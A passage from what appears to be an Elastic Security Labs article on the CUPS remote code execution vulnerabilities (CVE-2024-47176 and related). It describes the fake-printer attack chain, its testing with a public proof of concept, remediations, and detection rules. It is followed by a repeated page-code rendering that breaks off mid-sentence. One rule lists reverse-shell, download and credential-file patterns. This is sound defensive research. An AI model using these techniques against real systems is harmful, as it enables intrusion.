vulnerability chain includes the `foomatic-rip` filter, which permits the execution of arbitrary commands through the `FoomaticRIPCommandLine` directive, a known ([CVE-2011-2697](https://nvd.nist.gov/vuln/detail/CVE-2011-2697), [CVE-2011-2964](https://nvd.nist.gov/vuln/detail/CVE-2011-2964)) but unpatched issue since 2011. \n* Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the `cups-browsed` service enabled by default. \n* By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.\n* Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.\n\n## The CUPS RCE at a glance\n\nOn September 26, 2024, security researcher Simone Margaritelli (@evilsocket) [uncovered](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like `cups-browsed`, `libcupsfilters`, and `libppd`. These vulnerabilities — identified as [CVE-2024-47176](https://www.cve.org/CVERecord?id=CVE-2024-47176), [CVE-2024-47076](https://www.cve.org/CVERecord?id=CVE-2024-47076), [CVE-2024-47175](https://www.cve.org/CVERecord?id=CVE-2024-47175), and [CVE-2024-47177](https://www.cve.org/CVERecord?id=CVE-2024-47177) — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).\n\nAt the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port `631` over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.\n\nFor context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.\n\nUpon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.\n\nOne of the major vulnerabilities in this chain is the `foomatic-rip` filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.\n\n\u003e While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.\n\n## Elastic’s POC analysis\n\nElastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the [cupshax](https://github.com/RickdeJager/cupshax/blob/main/cupshax.py) proof of concept (PoC) based on its ability to execute locally. \n\nTo start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer. \n\nUpon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a [PostScript Printer Description](https://en.wikipedia.org/wiki/PostScript_Printer_Description) (PPD) file from these IPP attributes.\n\nAt this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.\n\nDuring our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.\n\nWhen running arbitrary commands to create files, we noticed that `lp` is the user and group reported for arbitrary command execution, the [default printing group](https://wiki.debian.org/SystemGroups#:~:text=lp%20(LP)%3A%20Members%20of,jobs%20sent%20by%20other%20users.) on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the `lp` user to have sufficient permissions to retrieve and run a malicious payload. By default, the `lp` user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict `lp` such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies. \n\nThe `lp` user in many default configurations has access to commands that are not required for the print service, for instance `telnet`. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the `lp` user from using them. \n\nWe also took note that interactive reverse shells are not immediately supported through this technique, since the `lp` user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to `/tmp/`, which is trivial to detect in most cases. Note that the user writing this file will be `lp` so similar behavior will be present for attackers downloading and saving a payload on disk.\n\nAlongside these observations, the parent process, `foomatic-rip` was observed in our telemetry executing a shell, which is highly uncommon\n\n## Executing the ‘Cupshax’ POC\n\nTo demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.\n\nOur first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the `lp` user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:\n\n\n\nContinued testing was performed around reverse shell invocation, successfully demonstrated below: \n\n\n\n## Assessing impact\n\n* **Severity:** These vulnerabilities are given CVSS scores [controversially](https://x.com/evilsocket/status/1838220677389656127) up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.\n* **Who is affected?:** The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report [highlights](https://x.com/shodanhq/status/1839418045757845925) that over 75,000 CUPS services are exposed on the internet.\n* **Potential Damage:** Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access. \n\n## Remediations\n\nAs [highlighted](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Remediation) by @evilsocket, there are several remediation recommendations.\n\n* Disable and uninstall the `cups-browsed` service. For example, see the recommendations from [Red Hat](https://www.redhat.com/en/blog/red-hat-response-openprinting-cups-vulnerabilities) and [Ubuntu](https://ubuntu.com/blog/cups-remote-code-execution-vulnerability-fix-available).\n* Ensure your CUPS packages are updated to the latest versions available for your distribution.\n* If updating isn’t possible, block UDP port `631` and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the `lp` user and group configuration on the host.\n\n## Elastic protections\n\nIn this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.\n\n### cupsd or foomatic-rip shell execution\n\nThe first detection rule targets processes on Linux systems that are spawned by `foomatic-rip` and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible. \n\n```\nprocess where host.os.type == \"linux\" and event.type == \"start\" and\n event.action == \"exec\" and process.parent.name == \"foomatic-rip\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") \n and not process.command_line like (\"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\")\n```\n\nThis query managed to detect all 33 PoC attempts that we performed:\n\n\n\nhttps://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml\n\n### Printer user (lp) shell execution\n\nThis detection rule assumes that the default printer user (`lp`) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include `cupsd`. Although there's currently no indication that RCE can be exploited through `cupsd`, we cannot rule out the possibility.\n\n```\nprocess where host.os.type == \"linux\" and event.type == \"start\" and\n event.action == \"exec\" and user.name == \"lp\" and\n process.parent.name in (\"cupsd\", \"foomatic-rip\", \"bash\", \"dash\", \"sh\", \n \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.name in (\"bash\", \"dash\", \n \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and not process.command_line \n like (\"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\")\n```\n\nBy focusing on the username `lp`, we broadened the scope and detected, like previously, all of the 33 PoC executions:\n\n\n\nhttps://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml\n\n### Network connection by CUPS foomatic-rip child\n\nThis rule identifies network connections initiated by child processes of `foomatic-rip`, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.\n\n```\nsequence by host.id with maxspan=10s\n [process where host.os.type == \"linux\" and event.type == \"start\" \n and event.action == \"exec\" and\n process.parent.name == \"foomatic-rip\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] \n by process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"connection_attempted\"] by process.parent.entity_id\n```\n\nBy capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application. \n\n\n\nhttps://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml\n\n### File creation by CUPS foomatic-rip child\n\nThis rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in `/tmp/`, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.\n\n```\nsequence by host.id with maxspan=10s\n [process where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"exec\" and process.parent.name == \"foomatic-rip\" and \n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")] by process.entity_id\n [file where host.os.type == \"linux\" and event.type != \"deletion\" and\n not (process.name == \"gs\" and file.path like \"/tmp/gs_*\")] by process.parent.entity_id\n```\n\nThe rule excludes `/tmp/gs_*` to account for default `cupsd` behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.\n\n\n\nhttps://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml\n\n### Suspicious execution from foomatic-rip or cupsd parent\n\nThis rule detects suspicious command lines executed by child processes of `foomatic-rip` and `cupsd`. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.\n\n```\nprocess where host.os.type == \"linux\" and event.type == \"start\" and \n event.action == \"exec\" and process.parent.name in \n (\"foomatic-rip\", \"cupsd\") and process.command_line like (\n // persistence\n \"*cron*\", \"*/etc/rc.local*\", \"*/dev/tcp/*\", \"*/etc/init.d*\", \n \"*/etc/update-motd.d*\", \"*/etc/sudoers*\",\n \"*/etc/profile*\", \"*autostart*\", \"*/etc/ssh*\", \"*/home/*/.ssh/*\", \n \"*/root/.ssh*\", \"*~/.ssh/*\", \"*udev*\", \"*/etc/shadow*\", \"*/etc/passwd*\",\n // Downloads\n \"*curl*\", \"*wget*\",\n\n // encoding and decoding\n \"*base64 *\", \"*base32 *\", \"*xxd *\", \"*openssl*\",\n\n // reverse connections\n \"*GS_ARGS=*\", \"*/dev/tcp*\", \"*/dev/udp/*\", \"*import*pty*spawn*\", \"*import*subprocess*call*\", \"*TCPSocket.new*\",\n \"*TCPSocket.open*\", \"*io.popen*\", \"*os.execute*\", \"*fsockopen*\", \"*disown*\", \"*nohup*\",\n\n // SO loads\n \"*openssl*-engine*.so*\", \"*cdll.LoadLibrary*.so*\", \"*ruby*-e**Fiddle.dlopen*.so*\", \"*Fiddle.dlopen*.so*\",\n \"*cdll.LoadLibrary*.so*\",\n\n // misc. suspicious command lines\n \"*/etc/ld.so*\", \"*/dev/shm/*\", \"*/var/tmp*\", \"*echo*\", \"*\u003e\u003e*\", \"*|*\"\n)\n```\n\nBy making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the `cupsd` parent, without the fear of false positives.\n\n\n\nhttps://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml\n\n### Elastic’s Attack Discovery\n\nIn addition to prebuilt content published, [Elastic’s Attack Discovery](https://www.elastic.co/guide/en/security/current/attack-discovery.html) can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.\n\n\n\n## Conclusion\n\nThe recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as [indicated](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Impact) by @evilsocket.\n\nWe expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities. \n\n## Key References\n\n* [https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)\n* [https://github.com/RickdeJager/cupshax/blob/main/cupshax.py](https://github.com/RickdeJager/cupshax/blob/main/cupshax.py)\n* [https://www.cve.org/CVERecord?id=CVE-2024-47076](https://www.cve.org/CVERecord?id=CVE-2024-47076)\n* [https://www.cve.org/CVERecord?id=CVE-2024-47175](https://www.cve.org/CVERecord?id=CVE-2024-47175)\n* [https://www.cve.org/CVERecord?id=CVE-2024-47176](https://www.cve.org/CVERecord?id=CVE-2024-47176)\n* [https://www.cve.org/CVERecord?id=CVE-2024-47177](https://www.cve.org/CVERecord?id=CVE-2024-47177)\n\n*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.*\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var g=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},a=(i,e,n,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!f.call(i,o)\u0026\u0026o!==n\u0026\u0026s(i,o,{get:()=\u003ee[o],enumerable:!(r=p(e,o))||r.enumerable});return i};var w=(i,e,n)=\u003e(n=i!=null?h(m(i)):{},a(e||!i||!i.__esModule?s(n,\"default\",{value:i,enumerable:!0}):n,i)),y=i=\u003ea(s({},\"__esModule\",{value:!0}),i);var l=g((S,c)=\u003e{c.exports=_jsx_runtime});var P={};b(P,{default:()=\u003ek,frontmatter:()=\u003ev});var t=w(l()),v={title:\"Cups Overflow: When your printer spills more than Ink\",slug:\"cups-overflow\",date:\"2024-09-28\",description:\"Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris.\",author:[{slug:\"mika-ayenson\"},{slug:\"terrance-dejesus\"},{slug:\"eric-forte\"},{slug:\"ruben-groenewoud\"}],image:\"cups-overflow.jpg\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}],tags:[\"linux\",\"macos\",\"cups\",\"vulnerability\",\"CVE-2024-47176\",\"CVE-2024-47076\",\"CVE-2024-47175\",\"CVE-2024-47177\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",code:\"code\",blockquote:\"blockquote\",img:\"img\",strong:\"strong\",h3:\"h3\",pre:\"pre\",em:\"em\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"update-october-2-2024\",children:\"Update October 2, 2024\"}),`\n`,(0,t.jsxs)(e.p,{children:['The following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your \"Prebuilt Security Detection Rules\" integration versions or visit the ',(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/prebuilt-rules-downloadable-updates.html\",rel:\"nofollow\",children:\"Downloadable rule updates\"}),\" site.\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Stack Version 8.15 - Package Version 8.15.6+\"}),`\n`,(0,t.jsx)(e.li,{children:\"Stack Version 8.14 - Package Version 8.14.12+\"}),`\n`,(0,t.jsx)(e.li,{children:\"Stack Version 8.13 - Package Version 8.13.18+\"}),`\n`,(0,t.jsx)(e.li,{children:\"Stack Version 8.12 - Package Version 8.12.23+\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the \",(0,t.jsx)(e.code,{children:\"cups-browsed\"}),\", \",(0,t.jsx)(e.code,{children:\"libscupsfilters\"}),\", and \",(0,t.jsx)(e.code,{children:\"libppd\"}),\" components of the CUPS printing system, impacting versions \u003c= 2.0.1.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by \",(0,t.jsx)(e.code,{children:\"cups-browsed\"}),\" without any authentication requirements.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"The vulnerability chain includes the \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\" filter, which permits the execution of arbitrary commands through the \",(0,t.jsx)(e.code,{children:\"FoomaticRIPCommandLine\"}),\" directive, a known (\",(0,t.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2011-2697\",rel:\"nofollow\",children:\"CVE-2011-2697\"}),\", \",(0,t.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2011-2964\",rel:\"nofollow\",children:\"CVE-2011-2964\"}),\") but unpatched issue since 2011.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the \",(0,t.jsx)(e.code,{children:\"cups-browsed\"}),\" service enabled by default.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"By the title of the publication, \\u201CAttacking UNIX Systems via CUPS, Part I\\u201D Margaritelli likely expects to publish further research on the topic.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"the-cups-rce-at-a-glance\",children:\"The CUPS RCE at a glance\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) \",(0,t.jsx)(e.a,{href:\"https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\",rel:\"nofollow\",children:\"uncovered\"}),\" a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like \",(0,t.jsx)(e.code,{children:\"cups-browsed\"}),\", \",(0,t.jsx)(e.code,{children:\"libcupsfilters\"}),\", and \",(0,t.jsx)(e.code,{children:\"libppd\"}),\". These vulnerabilities \\u2014 identified as \",(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47176\",rel:\"nofollow\",children:\"CVE-2024-47176\"}),\", \",(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47076\",rel:\"nofollow\",children:\"CVE-2024-47076\"}),\", \",(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47175\",rel:\"nofollow\",children:\"CVE-2024-47175\"}),\", and \",(0,t.jsx)(e.a,{href:\"https://www.cve.org/CVERecord?id=CVE-2024-47177\",rel:\"nofollow\",children:\"CVE-2024-47177\"}),\" \\u2014 affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port \",(0,t.jsx)(e.code,{children:\"631\"}),\" over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One of the major vulnerabilities in this chain is the \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\" filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.\"]}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"elastics-poc-analysis\",children:\"Elastic\\u2019s POC analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic\\u2019s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the \",(0,t.jsx)(e.a,{href:\"https://github.com/RickdeJager/cupshax/blob/main/cupshax.py\",rel:\"nofollow\",children:\"cupshax\"}),\" proof of concept (PoC) based on its ability to execute locally.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/PostScript_Printer_Description\",rel:\"nofollow\",children:\"PostScript Printer Description\"}),\" (PPD) file from these IPP attributes.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.\"}),`\n`,(0,t.jsx)(e.p,{children:\"During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"When running arbitrary commands to create files, we noticed that \",(0,t.jsx)(e.code,{children:\"lp\"}),\" is the user and group reported for arbitrary command execution, the \",(0,t.jsx)(e.a,{href:\"https://wiki.debian.org/SystemGroups#:~:text=lp%20(LP)%3A%20Members%20of,jobs%20sent%20by%20other%20users.\",rel:\"nofollow\",children:\"default printing group\"}),\" on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user to have sufficient permissions to retrieve and run a malicious payload. By default, the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict \",(0,t.jsx)(e.code,{children:\"lp\"}),\" such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user in many default configurations has access to commands that are not required for the print service, for instance \",(0,t.jsx)(e.code,{children:\"telnet\"}),\". To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user from using them.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also took note that interactive reverse shells are not immediately supported through this technique, since the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to \",(0,t.jsx)(e.code,{children:\"/tmp/\"}),\", which is trivial to detect in most cases. Note that the user writing this file will be \",(0,t.jsx)(e.code,{children:\"lp\"}),\" so similar behavior will be present for attackers downloading and saving a payload on disk.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alongside these observations, the parent process, \",(0,t.jsx)(e.code,{children:\"foomatic-rip\"}),\" was observed in our telemetry executing a shell, which is highly uncommon\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"executing-the-cupshax-poc\",children:\"Executing the \\u2018Cupshax\\u2019 POC\"}),`\n`,(0,t.jsx)(e.p,{children:\"To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the \",(0,t.jsx)(e.code,{children:\"lp\"}),\" user \\u2014 namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/video1.gif\",alt:\"A remotely downloaded payload, compiled and executed on a vulnerable host\",title:\"A remotely downloaded payload, compiled and executed on a vulnerable host\",width:\"2558\",height:\"1356\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Continued testing was performed around reverse shell invocation, successfully demonstrated below:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/cups-overflow/video2.gif\",alt:\"A reverse shell executed on a vulnerable host\",title:\"A reverse shell executed on a vulnerable host\",width:\"2558\",height:\"1356\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"assessing-impact\",children:\"Assessing impact\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Severity:\"}),\" These vulnerabilities are given CVSS scores \",(0,t.jsx)(e.a,{href:\"https://x.com/evilsocket/status/1838220677389656127\",rel:\"nofollow\",children:\"controversially\"}),\" up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Who is affected?:\"}),\" The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report \",(0,t.jsx)(e.a,{href:\"https://x.com/shodanhq/status/1839418045757845925\",rel:\"nofollow\",children:\"highlights\"}),\" that over 75,000 CUPS services are exposed on the 